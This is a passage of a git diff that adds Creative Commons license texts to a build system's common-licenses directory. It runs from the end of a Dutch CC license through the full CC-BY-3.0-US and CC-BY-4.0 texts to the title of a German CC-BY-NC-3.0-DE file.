Resource Identifier, indien aanwezig, waarvan de Licentiegever heeft aangegeven dat deze bij het Werk hoort, tenzij de URI niet verwijst naar de auteursrechtvermeldingen of de licentie-informatie betreffende het Werk; in overeenstemming met artikel 3(b) in geval van een Afgeleid werk, door te verwijzen naar het gebruik van het Werk in het Afgeleide werk (bijvoorbeeld: 'De Franse vertaling van het Werk van de Maker' of 'Scenario gebaseerd op het Werk van de Maker'). De Gebruiker dient op redelijke wijze aan de in dit artikel genoemde vereisten te voldoen; echter, met dien verstande dat, in geval van een Afgeleid werk of een Verzamelwerk, de naamsvermeldingen in ieder geval geplaatst dienen te worden, indien er een naamsvermelding van alle makers van het Afgeleide werk of het Verzamelwerk geplaatst wordt dan als deel van die naamsvermeldingen, en op een wijze die in ieder geval even duidelijk is als de naamsvermeldingen van de overige makers.
+
+ Volledigheidshalve dient te worden vermeld dat de Gebruiker uitsluitend gebruik mag maken van de naamsvermelding op de in dit artikel omschreven wijze teneinde te voldoen aan de naamsvermeldingsverplichting en, door gebruikmaking van zijn rechten krachtens deze Licentie, is het de Gebruiker niet toegestaan om op enigerlei wijze de indruk te wekken dat er sprake is van enig verband met, sponsorschap van of goedkeuring van de (toepasselijke) Maker, Licentiegever c.q. Naamsvermeldingsgerechtigden van de Gebruiker of diens gebruik van het Werk, zonder de afzonderlijke, uitdrukkelijke, voorafgaande, schriftelijke toestemming van de Maker, Licentiegever c.q. Naamsvermeldingsgerechtigden.
+
+ c. Volledigheidshalve dient te worden vermeld, dat de hierboven vermelde beperkingen (lid 4(a) en lid 4(b)) niet van toepassing zijn op die onderdelen van het Werk die geacht worden te vallen onder de definitie van het 'Werk' zoals vermeld in deze Licentie uitsluitend omdat zij voldoen aan de criteria van het sui generis databankenrecht krachtens het nationale recht ter implementatie van de Europese Databankenrichtlijn.
+
+ d. De in artikel 3 verleende rechten moeten worden uitgeoefend met inachtneming van het morele recht van de Maker (en/of de uitvoerende kunstenaar) om zich te verzetten tegen elke misvorming, verminking of andere aantasting van het werk, welke nadeel zou kunnen toebrengen aan de eer of de naam van de Maker (en/of de uitvoerende kunstenaar) of aan zijn waarde in deze hoedanigheid, indien en voor zover de Maker (en/of de uitvoerende kunstenaar) op grond van een op hem van toepassing zijnde wettelijke bepaling geen afstand kan doen van dat morele recht.
+
+5. Garantie en vrijwaring.
+
+TENZIJ ANDERS SCHRIFTELIJK IS OVEREENGEKOMEN DOOR DE PARTIJEN, STELT DE LICENTIEGEVER HET WERK BESCHIKBAAR OP 'AS-IS' BASIS, ZONDER ENIGE GARANTIE, HETZIJ DIRECT, INDIRECT OF ANDERSZINS, MET BETREKKING TOT HET WERK, MET INBEGRIP VAN, MAAR NIET BEPERKT TOT GARANTIES MET BETREKKING TOT DE EIGENDOMSTITEL, DE VERKOOPBAARHEID, DE GESCHIKTHEID VOOR BEPAALDE DOELEINDEN, MOGELIJKE INBREUK, DE AFWEZIGHEID VAN LATENTE OF ANDERE TEKORTKOMINGEN, DE JUISTHEID OF DE AAN- OF AFWEZIGHEID VAN FOUTEN, ONGEACHT DE OPSPOORBAARHEID DAARVAN, INDIEN EN VOORZOVER DE WET NIET ANDERS BEPAALT.
+
+6. Beperking van de aansprakelijkheid.
+
+DE LICENTIEGEVER AANVAARDT GEEN ENKELE AANSPRAKELIJKHEID JEGENS DE GEBRUIKER VOOR ENIGE BIJZONDERE OF INCIDENTELE SCHADE OF GEVOLGSCHADE VOORTVLOEIEND UIT DEZE LICENTIE OF HET GEBRUIK VAN HET WERK, ZELFS NIET INDIEN DE LICENTIEGEVER OP DE HOOGTE IS GESTELD VAN HET RISICO VAN DERGELIJKE SCHADE, INDIEN EN VOORZOVER DE WET NIET ANDERS BEPAALT.
+
+7. Beëindiging
+
+ a. Deze Licentie en de daarin verleende rechten vervallen automatisch op het moment dat de Gebruiker in strijd handelt met de voorwaarden van deze Licentie. De licenties van natuurlijke personen of rechtspersonen die Verzamelwerken hebben ontvangen van de Gebruiker krachtens deze Licentie blijven echter in stand zolang dergelijke natuurlijke personen of rechtspersonen zich houden aan de voorwaarden van die licenties. Na de beëindiging van deze Licentie blijven artikelen 1, 2, 5, 6, 7 en 8 onverminderd van kracht.
+
+ b. Met inachtneming van de hierboven vermelde voorwaarden wordt de Licentie verleend voor de duur van de toepasselijke intellectuele eigendomsrechten op het Werk. De Licentiegever behoudt zich desalniettemin te allen tijde het recht voor om het Werk volgens gewijzigde licentievoorwaarden te verspreiden of om het Werk niet langer te verspreiden; met dien verstande dat een dergelijk besluit niet de intrekking van deze Licentie (of enig andere licentie die volgens de voorwaarden van deze Licentie (verplicht) is verleend) tot gevolg heeft, en deze Licentie onverminderd van kracht blijft tenzij zij op de in lid a omschreven wijze wordt beëindigd.
+
+8. Diversen
+
+ a. Elke keer dat de Gebruiker het Werk of een Verzamelwerk verspreidt of on-line beschikbaar stelt, biedt de Licentiegever de ontvanger een licentie op het Werk aan volgens de algemene voorwaarden van deze Licentie.
+
+ b. Elke keer dat de Gebruiker een Afgeleid werk verspreidt of on-line beschikbaar stelt, biedt de Licentiegever de ontvanger een licentie op het oorspronkelijke werk aan volgens de algemene voorwaarden van deze Licentie.
+
+ c. Indien enige bepaling van deze Licentie nietig of niet rechtens afdwingbaar is, zullen de overige voorwaarden van deze Licentie volledig van kracht blijven. De nietige of niet-afdwingbare bepaling zal, zonder tussenkomst van de partijen, worden vervangen door een geldige en afdwingbare bepaling waarbij het doel en de strekking van de oorspronkelijke bepaling zoveel mogelijk in acht worden genomen.
+
+ d. Een verklaring van afstand van in deze Licentie verleende rechten of een wijziging van de voorwaarden van deze Licentie dient schriftelijk te geschieden en getekend te zijn door de partij die verantwoordelijk is voor de verklaring van afstand respectievelijk de partij wiens toestemming voor de wijziging is vereist.
+
+ f. Deze Licentie bevat de volledige overeenkomst tussen de partijen met betrekking tot het in licentie gegeven Werk. Er zijn geen andere afspraken gemaakt met betrekking tot het Werk. De Licentiegever is niet gebonden aan enige aanvullende bepalingen die worden vermeld in mededelingen van de Gebruiker. Deze licentie kan uitsluitend worden gewijzigd met de wederzijdse, schriftelijke instemming van de Licentiegever en de Gebruiker.
+
+Aansprakelijkheid en merkrechten van Creative Commons
+
+Creative Commons is geen partij bij deze Licentie en stelt geen enkele garantie met betrekking tot het Werk. Creative Commons kan op geen enkele wijze aansprakelijk worden gehouden jegens de Gebruiker of derden voor enigerlei schade met inbegrip van, maar niet beperkt tot enige algemene, bijzondere, incidentele of gevolgschade voortvloeiend uit deze Licentie. Onverminderd het bepaalde in de twee (2) voorgaande volzinnen is Creative Commons gebonden aan alle rechten en verplichtingen van de Licentiegever indien Creative Commons zichzelf uitdrukkelijk kenbaar gemaakt heeft als de Licentiegever krachtens deze Licentie.
+
+Met uitzondering van het beperkte doel om iedereen erop te wijzen dat het Werk in licentie is gegeven krachtens de CCPL, geeft Creative Commons aan geen van de partijen toestemming om gebruik te maken van de merknaam 'Creative Commons', enige daarmee verband houdende merknamen dan wel het logo van Creative Commons gebruiken zonder de voorafgaande schriftelijke toestemming van Creative Commons. Het geoorloofde gebruik dient in overeenstemming te zijn met de alsdan geldende richtlijnen betreffende het gebruik van merknamen van Creative Commons zoals die bekend worden gemaakt op de website of anderszins van tijd tot tijd, desgevraagd, ter beschikking worden gesteld. Volledigheidshalve dient te worden vermeld dat deze merkrechtelijke beperking geen deel uitmaakt van de Licentie.
+
+U kunt contact opnemen met Creative Commons via de website: https://creativecommons.org/.
diff --git a/meta/files/common-licenses/CC-BY-3.0-US b/meta/files/common-licenses/CC-BY-3.0-US
new file mode 100644
index 0000000000..c35a2b1a11
--- /dev/null
+++ b/meta/files/common-licenses/CC-BY-3.0-US
@@ -0,0 +1,83 @@
+Creative Commons Attribution 3.0 United States
+
+ CREATIVE COMMONS CORPORATION IS NOT A LAW FIRM AND DOES NOT PROVIDE LEGAL SERVICES. DISTRIBUTION OF THIS LICENSE DOES NOT CREATE AN ATTORNEY-CLIENT RELATIONSHIP. CREATIVE COMMONS PROVIDES THIS INFORMATION ON AN "AS-IS" BASIS. CREATIVE COMMONS MAKES NO WARRANTIES REGARDING THE INFORMATION PROVIDED, AND DISCLAIMS LIABILITY FOR DAMAGES RESULTING FROM ITS USE.
+
+License
+
+THE WORK (AS DEFINED BELOW) IS PROVIDED UNDER THE TERMS OF THIS CREATIVE COMMONS PUBLIC LICENSE ("CCPL" OR "LICENSE"). THE WORK IS PROTECTED BY COPYRIGHT AND/OR OTHER APPLICABLE LAW. ANY USE OF THE WORK OTHER THAN AS AUTHORIZED UNDER THIS LICENSE OR COPYRIGHT LAW IS PROHIBITED.
+
+BY EXERCISING ANY RIGHTS TO THE WORK PROVIDED HERE, YOU ACCEPT AND AGREE TO BE BOUND BY THE TERMS OF THIS LICENSE. TO THE EXTENT THIS LICENSE MAY BE CONSIDERED TO BE A CONTRACT, THE LICENSOR GRANTS YOU THE RIGHTS CONTAINED HERE IN CONSIDERATION OF YOUR ACCEPTANCE OF SUCH TERMS AND CONDITIONS.
+
+1. Definitions
+
+ a. "Collective Work" means a work, such as a periodical issue, anthology or encyclopedia, in which the Work in its entirety in unmodified form, along with one or more other contributions, constituting separate and independent works in themselves, are assembled into a collective whole. A work that constitutes a Collective Work will not be considered a Derivative Work (as defined below) for the purposes of this License.
+
+ b. "Derivative Work" means a work based upon the Work or upon the Work and other pre-existing works, such as a translation, musical arrangement, dramatization, fictionalization, motion picture version, sound recording, art reproduction, abridgment, condensation, or any other form in which the Work may be recast, transformed, or adapted, except that a work that constitutes a Collective Work will not be considered a Derivative Work for the purpose of this License. For the avoidance of doubt, where the Work is a musical composition or sound recording, the synchronization of the Work in timed-relation with a moving image ("synching") will be considered a Derivative Work for the purpose of this License.
+
+ c. "Licensor" means the individual, individuals, entity or entities that offers the Work under the terms of this License.
+
+ d. "Original Author" means the individual, individuals, entity or entities who created the Work.
+
+ e. "Work" means the copyrightable work of authorship offered under the terms of this License.
+
+ f. "You" means an individual or entity exercising rights under this License who has not previously violated the terms of this License with respect to the Work, or who has received express permission from the Licensor to exercise rights under this License despite a previous violation.
+
+2. Fair Use Rights. Nothing in this license is intended to reduce, limit, or restrict any rights arising from fair use, first sale or other limitations on the exclusive rights of the copyright owner under copyright law or other applicable laws.
+
+3. License Grant. Subject to the terms and conditions of this License, Licensor hereby grants You a worldwide, royalty-free, non-exclusive, perpetual (for the duration of the applicable copyright) license to exercise the rights in the Work as stated below:
+
+ a. to reproduce the Work, to incorporate the Work into one or more Collective Works, and to reproduce the Work as incorporated in the Collective Works;
+
+ b. to create and reproduce Derivative Works provided that any such Derivative Work, including any translation in any medium, takes reasonable steps to clearly label, demarcate or otherwise identify that changes were made to the original Work. For example, a translation could be marked "The original work was translated from English to Spanish," or a modification could indicate "The original work has been modified.";;
+
+ c. to distribute copies or phonorecords of, display publicly, perform publicly, and perform publicly by means of a digital audio transmission the Work including as incorporated in Collective Works;
+
+ d. to distribute copies or phonorecords of, display publicly, perform publicly, and perform publicly by means of a digital audio transmission Derivative Works.
+
+ e. For the avoidance of doubt, where the Work is a musical composition:
+
+ i. Performance Royalties Under Blanket Licenses. Licensor waives the exclusive right to collect, whether individually or, in the event that Licensor is a member of a performance rights society (e.g. ASCAP, BMI, SESAC), via that society, royalties for the public performance or public digital performance (e.g. webcast) of the Work.
+
+ ii. Mechanical Rights and Statutory Royalties. Licensor waives the exclusive right to collect, whether individually or via a music rights agency or designated agent (e.g. Harry Fox Agency), royalties for any phonorecord You create from the Work ("cover version") and distribute, subject to the compulsory license created by 17 USC Section 115 of the US Copyright Act (or the equivalent in other jurisdictions).
+
+ f. Webcasting Rights and Statutory Royalties. For the avoidance of doubt, where the Work is a sound recording, Licensor waives the exclusive right to collect, whether individually or via a performance-rights society (e.g. SoundExchange), royalties for the public digital performance (e.g. webcast) of the Work, subject to the compulsory license created by 17 USC Section 114 of the US Copyright Act (or the equivalent in other jurisdictions).
+
+The above rights may be exercised in all media and formats whether now known or hereafter devised. The above rights include the right to make such modifications as are technically necessary to exercise the rights in other media and formats. All rights not expressly granted by Licensor are hereby reserved.
+
+4. Restrictions. The license granted in Section 3 above is expressly made subject to and limited by the following restrictions:
+
+ a. You may distribute, publicly display, publicly perform, or publicly digitally perform the Work only under the terms of this License, and You must include a copy of, or the Uniform Resource Identifier for, this License with every copy or phonorecord of the Work You distribute, publicly display, publicly perform, or publicly digitally perform. You may not offer or impose any terms on the Work that restrict the terms of this License or the ability of a recipient of the Work to exercise the rights granted to that recipient under the terms of the License. You may not sublicense the Work. You must keep intact all notices that refer to this License and to the disclaimer of warranties. When You distribute, publicly display, publicly perform, or publicly digitally perform the Work, You may not impose any technological measures on the Work that restrict the ability of a recipient of the Work from You to exercise the rights granted to that recipient under the terms of the License. This Section 4(a) applies to the Work as incorporated in a Collective Work, but this does not require the Collective Work apart from the Work itself to be made subject to the terms of this License. If You create a Collective Work, upon notice from any Licensor You must, to the extent practicable, remove from the Collective Work any credit as required by Section 4(b), as requested. If You create a Derivative Work, upon notice from any Licensor You must, to the extent practicable, remove from the Derivative Work any credit as required by Section 4(b), as requested.
+
+ b. If You distribute, publicly display, publicly perform, or publicly digitally perform the Work (as defined in Section 1 above) or any Derivative Works (as defined in Section 1 above) or Collective Works (as defined in Section 1 above), You must, unless a request has been made pursuant to Section 4(a), keep intact all copyright notices for the Work and provide, reasonable to the medium or means You are utilizing: (i) the name of the Original Author (or pseudonym, if applicable) if supplied, and/or (ii) if the Original Author and/or Licensor designate another party or parties (e.g. a sponsor institute, publishing entity, journal) for attribution ("Attribution Parties") in Licensor's copyright notice, terms of service or by other reasonable means, the name of such party or parties; the title of the Work if supplied; to the extent reasonably practicable, the Uniform Resource Identifier, if any, that Licensor specifies to be associated with the Work, unless such URI does not refer to the copyright notice or licensing information for the Work; and, consistent with Section 3(b) in the case of a Derivative Work, a credit identifying the use of the Work in the Derivative Work (e.g., "French translation of the Work by Original Author," or "Screenplay based on original Work by Original Author"). The credit required by this Section 4(b) may be implemented in any reasonable manner; provided, however, that in the case of a Derivative Work or Collective Work, at a minimum such credit will appear, if a credit for all contributing authors of the Derivative Work or Collective Work appears, then as part of these credits and in a manner at least as prominent as the credits for the other contributing authors. For the avoidance of doubt, You may only use the credit required by this Section for the purpose of attribution in the manner set out above and, by exercising Your rights under this License, You may not implicitly or explicitly assert or imply any connection with, sponsorship or endorsement by the Original Author, Licensor and/or Attribution Parties, as appropriate, of You or Your use of the Work, without the separate, express prior written permission of the Original Author, Licensor and/or Attribution Parties.
+
+5. Representations, Warranties and Disclaimer
+
+UNLESS OTHERWISE MUTUALLY AGREED TO BY THE PARTIES IN WRITING, LICENSOR OFFERS THE WORK AS-IS AND ONLY TO THE EXTENT OF ANY RIGHTS HELD IN THE LICENSED WORK BY THE LICENSOR. THE LICENSOR MAKES NO REPRESENTATIONS OR WARRANTIES OF ANY KIND CONCERNING THE WORK, EXPRESS, IMPLIED, STATUTORY OR OTHERWISE, INCLUDING, WITHOUT LIMITATION, WARRANTIES OF TITLE, MARKETABILITY, MERCHANTIBILITY, FITNESS FOR A PARTICULAR PURPOSE, NONINFRINGEMENT, OR THE ABSENCE OF LATENT OR OTHER DEFECTS, ACCURACY, OR THE PRESENCE OF ABSENCE OF ERRORS, WHETHER OR NOT DISCOVERABLE. SOME JURISDICTIONS DO NOT ALLOW THE EXCLUSION OF IMPLIED WARRANTIES, SO SUCH EXCLUSION MAY NOT APPLY TO YOU.
+
+6. Limitation on Liability. EXCEPT TO THE EXTENT REQUIRED BY APPLICABLE LAW, IN NO EVENT WILL LICENSOR BE LIABLE TO YOU ON ANY LEGAL THEORY FOR ANY SPECIAL, INCIDENTAL, CONSEQUENTIAL, PUNITIVE OR EXEMPLARY DAMAGES ARISING OUT OF THIS LICENSE OR THE USE OF THE WORK, EVEN IF LICENSOR HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+
+7. Termination
+
+ a. This License and the rights granted hereunder will terminate automatically upon any breach by You of the terms of this License. Individuals or entities who have received Derivative Works (as defined in Section 1 above) or Collective Works (as defined in Section 1 above) from You under this License, however, will not have their licenses terminated provided such individuals or entities remain in full compliance with those licenses. Sections 1, 2, 5, 6, 7, and 8 will survive any termination of this License.
+
+ b. Subject to the above terms and conditions, the license granted here is perpetual (for the duration of the applicable copyright in the Work). Notwithstanding the above, Licensor reserves the right to release the Work under different license terms or to stop distributing the Work at any time; provided, however that any such election will not serve to withdraw this License (or any other license that has been, or is required to be, granted under the terms of this License), and this License will continue in full force and effect unless terminated as stated above.
+
+8. Miscellaneous
+
+ a. Each time You distribute or publicly digitally perform the Work (as defined in Section 1 above) or a Collective Work (as defined in Section 1 above), the Licensor offers to the recipient a license to the Work on the same terms and conditions as the license granted to You under this License.
+
+ b. Each time You distribute or publicly digitally perform a Derivative Work, Licensor offers to the recipient a license to the original Work on the same terms and conditions as the license granted to You under this License.
+
+ c. If any provision of this License is invalid or unenforceable under applicable law, it shall not affect the validity or enforceability of the remainder of the terms of this License, and without further action by the parties to this agreement, such provision shall be reformed to the minimum extent necessary to make such provision valid and enforceable.
+
+ d. No term or provision of this License shall be deemed waived and no breach consented to unless such waiver or consent shall be in writing and signed by the party to be charged with such waiver or consent.
+
+ e. This License constitutes the entire agreement between the parties with respect to the Work licensed here. There are no understandings, agreements or representations with respect to the Work not specified here. Licensor shall not be bound by any additional provisions that may appear in any communication from You. This License may not be modified without the mutual written agreement of the Licensor and You.
+
+Creative Commons Notice
+
+Creative Commons is not a party to this License, and makes no warranty whatsoever in connection with the Work. Creative Commons will not be liable to You or any party on any legal theory for any damages whatsoever, including without limitation any general, special, incidental or consequential damages arising in connection to this license. Notwithstanding the foregoing two (2) sentences, if Creative Commons has expressly identified itself as the Licensor hereunder, it shall have all rights and obligations of Licensor.
+
+Except for the limited purpose of indicating to the public that the Work is licensed under the CCPL, Creative Commons does not authorize the use by either party of the trademark "Creative Commons" or any related trademark or logo of Creative Commons without the prior written consent of Creative Commons. Any permitted use will be in compliance with Creative Commons' then-current trademark usage guidelines, as may be published on its website or otherwise made available upon request from time to time. For the avoidance of doubt, this trademark restriction does not form part of the License.
+
+Creative Commons may be contacted at https://creativecommons.org/.
diff --git a/meta/files/common-licenses/CC-BY-4.0 b/meta/files/common-licenses/CC-BY-4.0
new file mode 100644
index 0000000000..13ca539f37
--- /dev/null
+++ b/meta/files/common-licenses/CC-BY-4.0
@@ -0,0 +1,156 @@
+Creative Commons Attribution 4.0 International
+
+ Creative Commons Corporation (“Creative Commons”) is not a law firm and does not provide legal services or legal advice. Distribution of Creative Commons public licenses does not create a lawyer-client or other relationship. Creative Commons makes its licenses and related information available on an “as-is” basis. Creative Commons gives no warranties regarding its licenses, any material licensed under their terms and conditions, or any related information. Creative Commons disclaims all liability for damages resulting from their use to the fullest extent possible.
+
+Using Creative Commons Public Licenses
+
+Creative Commons public licenses provide a standard set of terms and conditions that creators and other rights holders may use to share original works of authorship and other material subject to copyright and certain other rights specified in the public license below. The following considerations are for informational purposes only, are not exhaustive, and do not form part of our licenses.
+
+Considerations for licensors: Our public licenses are intended for use by those authorized to give the public permission to use material in ways otherwise restricted by copyright and certain other rights. Our licenses are irrevocable. Licensors should read and understand the terms and conditions of the license they choose before applying it. Licensors should also secure all rights necessary before applying our licenses so that the public can reuse the material as expected. Licensors should clearly mark any material not subject to the license. This includes other CC-licensed material, or material used under an exception or limitation to copyright. More considerations for licensors.
+
+Considerations for the public: By using one of our public licenses, a licensor grants the public permission to use the licensed material under specified terms and conditions. If the licensor’s permission is not necessary for any reason–for example, because of any applicable exception or limitation to copyright–then that use is not regulated by the license. Our licenses grant only permissions under copyright and certain other rights that a licensor has authority to grant. Use of the licensed material may still be restricted for other reasons, including because others have copyright or other rights in the material. A licensor may make special requests, such as asking that all changes be marked or described. Although not required by our licenses, you are encouraged to respect those requests where reasonable. More considerations for the public.
+
+Creative Commons Attribution 4.0 International Public License
+
+By exercising the Licensed Rights (defined below), You accept and agree to be bound by the terms and conditions of this Creative Commons Attribution 4.0 International Public License ("Public License"). To the extent this Public License may be interpreted as a contract, You are granted the Licensed Rights in consideration of Your acceptance of these terms and conditions, and the Licensor grants You such rights in consideration of benefits the Licensor receives from making the Licensed Material available under these terms and conditions.
+
+Section 1 – Definitions.
+
+ a. Adapted Material means material subject to Copyright and Similar Rights that is derived from or based upon the Licensed Material and in which the Licensed Material is translated, altered, arranged, transformed, or otherwise modified in a manner requiring permission under the Copyright and Similar Rights held by the Licensor. For purposes of this Public License, where the Licensed Material is a musical work, performance, or sound recording, Adapted Material is always produced where the Licensed Material is synched in timed relation with a moving image.
+
+ b. Adapter's License means the license You apply to Your Copyright and Similar Rights in Your contributions to Adapted Material in accordance with the terms and conditions of this Public License.
+
+ c. Copyright and Similar Rights means copyright and/or similar rights closely related to copyright including, without limitation, performance, broadcast, sound recording, and Sui Generis Database Rights, without regard to how the rights are labeled or categorized. For purposes of this Public License, the rights specified in Section 2(b)(1)-(2) are not Copyright and Similar Rights.
+
+ d. Effective Technological Measures means those measures that, in the absence of proper authority, may not be circumvented under laws fulfilling obligations under Article 11 of the WIPO Copyright Treaty adopted on December 20, 1996, and/or similar international agreements.
+
+ e. Exceptions and Limitations means fair use, fair dealing, and/or any other exception or limitation to Copyright and Similar Rights that applies to Your use of the Licensed Material.
+
+ f. Licensed Material means the artistic or literary work, database, or other material to which the Licensor applied this Public License.
+
+ g. Licensed Rights means the rights granted to You subject to the terms and conditions of this Public License, which are limited to all Copyright and Similar Rights that apply to Your use of the Licensed Material and that the Licensor has authority to license.
+
+ h. Licensor means the individual(s) or entity(ies) granting rights under this Public License.
+
+ i. Share means to provide material to the public by any means or process that requires permission under the Licensed Rights, such as reproduction, public display, public performance, distribution, dissemination, communication, or importation, and to make material available to the public including in ways that members of the public may access the material from a place and at a time individually chosen by them.
+
+ j. Sui Generis Database Rights means rights other than copyright resulting from Directive 96/9/EC of the European Parliament and of the Council of 11 March 1996 on the legal protection of databases, as amended and/or succeeded, as well as other essentially equivalent rights anywhere in the world.
+
+ k. You means the individual or entity exercising the Licensed Rights under this Public License. Your has a corresponding meaning.
+
+Section 2 – Scope.
+
+ a. License grant.
+
+ 1. Subject to the terms and conditions of this Public License, the Licensor hereby grants You a worldwide, royalty-free, non-sublicensable, non-exclusive, irrevocable license to exercise the Licensed Rights in the Licensed Material to:
+
+ A. reproduce and Share the Licensed Material, in whole or in part; and
+
+ B. produce, reproduce, and Share Adapted Material.
+
+ 2. Exceptions and Limitations. For the avoidance of doubt, where Exceptions and Limitations apply to Your use, this Public License does not apply, and You do not need to comply with its terms and conditions.
+
+ 3. Term. The term of this Public License is specified in Section 6(a).
+
+ 4. Media and formats; technical modifications allowed. The Licensor authorizes You to exercise the Licensed Rights in all media and formats whether now known or hereafter created, and to make technical modifications necessary to do so. The Licensor waives and/or agrees not to assert any right or authority to forbid You from making technical modifications necessary to exercise the Licensed Rights, including technical modifications necessary to circumvent Effective Technological Measures. For purposes of this Public License, simply making modifications authorized by this Section 2(a)(4) never produces Adapted Material.
+
+ 5. Downstream recipients.
+
+ A. Offer from the Licensor – Licensed Material. Every recipient of the Licensed Material automatically receives an offer from the Licensor to exercise the Licensed Rights under the terms and conditions of this Public License.
+
+ B. No downstream restrictions. You may not offer or impose any additional or different terms or conditions on, or apply any Effective Technological Measures to, the Licensed Material if doing so restricts exercise of the Licensed Rights by any recipient of the Licensed Material.
+
+ 6. No endorsement. Nothing in this Public License constitutes or may be construed as permission to assert or imply that You are, or that Your use of the Licensed Material is, connected with, or sponsored, endorsed, or granted official status by, the Licensor or others designated to receive attribution as provided in Section 3(a)(1)(A)(i).
+
+b. Other rights.
+
+ 1. Moral rights, such as the right of integrity, are not licensed under this Public License, nor are publicity, privacy, and/or other similar personality rights; however, to the extent possible, the Licensor waives and/or agrees not to assert any such rights held by the Licensor to the limited extent necessary to allow You to exercise the Licensed Rights, but not otherwise.
+
+ 2. Patent and trademark rights are not licensed under this Public License.
+
+ 3. To the extent possible, the Licensor waives any right to collect royalties from You for the exercise of the Licensed Rights, whether directly or through a collecting society under any voluntary or waivable statutory or compulsory licensing scheme. In all other cases the Licensor expressly reserves any right to collect such royalties.
+
+Section 3 – License Conditions.
+
+Your exercise of the Licensed Rights is expressly made subject to the following conditions.
+
+ a. Attribution.
+
+ 1. If You Share the Licensed Material (including in modified form), You must:
+
+ A. retain the following if it is supplied by the Licensor with the Licensed Material:
+
+ i. identification of the creator(s) of the Licensed Material and any others designated to receive attribution, in any reasonable manner requested by the Licensor (including by pseudonym if designated);
+
+ ii. a copyright notice;
+
+ iii. a notice that refers to this Public License;
+
+ iv. a notice that refers to the disclaimer of warranties;
+
+ v. a URI or hyperlink to the Licensed Material to the extent reasonably practicable;
+
+ B. indicate if You modified the Licensed Material and retain an indication of any previous modifications; and
+
+ C. indicate the Licensed Material is licensed under this Public License, and include the text of, or the URI or hyperlink to, this Public License.
+
+ 2. You may satisfy the conditions in Section 3(a)(1) in any reasonable manner based on the medium, means, and context in which You Share the Licensed Material. For example, it may be reasonable to satisfy the conditions by providing a URI or hyperlink to a resource that includes the required information.
+
+ 3. If requested by the Licensor, You must remove any of the information required by Section 3(a)(1)(A) to the extent reasonably practicable.
+
+ 4. If You Share Adapted Material You produce, the Adapter's License You apply must not prevent recipients of the Adapted Material from complying with this Public License.
+
+Section 4 – Sui Generis Database Rights.
+
+Where the Licensed Rights include Sui Generis Database Rights that apply to Your use of the Licensed Material:
+
+ a. for the avoidance of doubt, Section 2(a)(1) grants You the right to extract, reuse, reproduce, and Share all or a substantial portion of the contents of the database;
+
+ b. if You include all or a substantial portion of the database contents in a database in which You have Sui Generis Database Rights, then the database in which You have Sui Generis Database Rights (but not its individual contents) is Adapted Material; and
+
+ c. You must comply with the conditions in Section 3(a) if You Share all or a substantial portion of the contents of the database.
+For the avoidance of doubt, this Section 4 supplements and does not replace Your obligations under this Public License where the Licensed Rights include other Copyright and Similar Rights.
+
+Section 5 – Disclaimer of Warranties and Limitation of Liability.
+
+ a. Unless otherwise separately undertaken by the Licensor, to the extent possible, the Licensor offers the Licensed Material as-is and as-available, and makes no representations or warranties of any kind concerning the Licensed Material, whether express, implied, statutory, or other. This includes, without limitation, warranties of title, merchantability, fitness for a particular purpose, non-infringement, absence of latent or other defects, accuracy, or the presence or absence of errors, whether or not known or discoverable. Where disclaimers of warranties are not allowed in full or in part, this disclaimer may not apply to You.
+
+ b. To the extent possible, in no event will the Licensor be liable to You on any legal theory (including, without limitation, negligence) or otherwise for any direct, special, indirect, incidental, consequential, punitive, exemplary, or other losses, costs, expenses, or damages arising out of this Public License or use of the Licensed Material, even if the Licensor has been advised of the possibility of such losses, costs, expenses, or damages. Where a limitation of liability is not allowed in full or in part, this limitation may not apply to You.
+
+ c. The disclaimer of warranties and limitation of liability provided above shall be interpreted in a manner that, to the extent possible, most closely approximates an absolute disclaimer and waiver of all liability.
+
+Section 6 – Term and Termination.
+
+ a. This Public License applies for the term of the Copyright and Similar Rights licensed here. However, if You fail to comply with this Public License, then Your rights under this Public License terminate automatically.
+
+ b. Where Your right to use the Licensed Material has terminated under Section 6(a), it reinstates:
+
+ 1. automatically as of the date the violation is cured, provided it is cured within 30 days of Your discovery of the violation; or
+
+ 2. upon express reinstatement by the Licensor.
+
+ c. For the avoidance of doubt, this Section 6(b) does not affect any right the Licensor may have to seek remedies for Your violations of this Public License.
+
+ d. For the avoidance of doubt, the Licensor may also offer the Licensed Material under separate terms or conditions or stop distributing the Licensed Material at any time; however, doing so will not terminate this Public License.
+
+ e. Sections 1, 5, 6, 7, and 8 survive termination of this Public License.
+
+Section 7 – Other Terms and Conditions.
+
+ a. The Licensor shall not be bound by any additional or different terms or conditions communicated by You unless expressly agreed.
+
+ b. Any arrangements, understandings, or agreements regarding the Licensed Material not stated herein are separate from and independent of the terms and conditions of this Public License.
+
+Section 8 – Interpretation.
+
+ a. For the avoidance of doubt, this Public License does not, and shall not be interpreted to, reduce, limit, restrict, or impose conditions on any use of the Licensed Material that could lawfully be made without permission under this Public License.
+
+ b. To the extent possible, if any provision of this Public License is deemed unenforceable, it shall be automatically reformed to the minimum extent necessary to make it enforceable. If the provision cannot be reformed, it shall be severed from this Public License without affecting the enforceability of the remaining terms and conditions.
+
+ c. No term or condition of this Public License will be waived and no failure to comply consented to unless expressly agreed to by the Licensor.
+
+ d. Nothing in this Public License constitutes or may be interpreted as a limitation upon, or waiver of, any privileges and immunities that apply to the Licensor or You, including from the legal processes of any jurisdiction or authority.
+
+Creative Commons is not a party to its public licenses. Notwithstanding, Creative Commons may elect to apply one of its public licenses to material it publishes and in those instances will be considered the “Licensor.” Except for the limited purpose of indicating that material is shared under a Creative Commons public license or as otherwise permitted by the Creative Commons policies published at creativecommons.org/policies, Creative Commons does not authorize the use of the trademark “Creative Commons” or any other trademark or logo of Creative Commons without its prior written consent including, without limitation, in connection with any unauthorized modifications to any of its public licenses or any other arrangements, understandings, or agreements concerning use of licensed material. For the avoidance of doubt, this paragraph does not form part of the public licenses.
+
+Creative Commons may be contacted at creativecommons.org.
diff --git a/meta/files/common-licenses/CC-BY-NC-3.0-DE b/meta/files/common-licenses/CC-BY-NC-3.0-DE
new file mode 100644
index 0000000000..5d11815286
--- /dev/null
+++ b/meta/files/common-licenses/CC-BY-NC-3.0-DE
@@ -0,0 +1,110 @@
+Creative Commons Namensnennung - Keine kommerzielle Nutzung 3.0 Deutschland
+
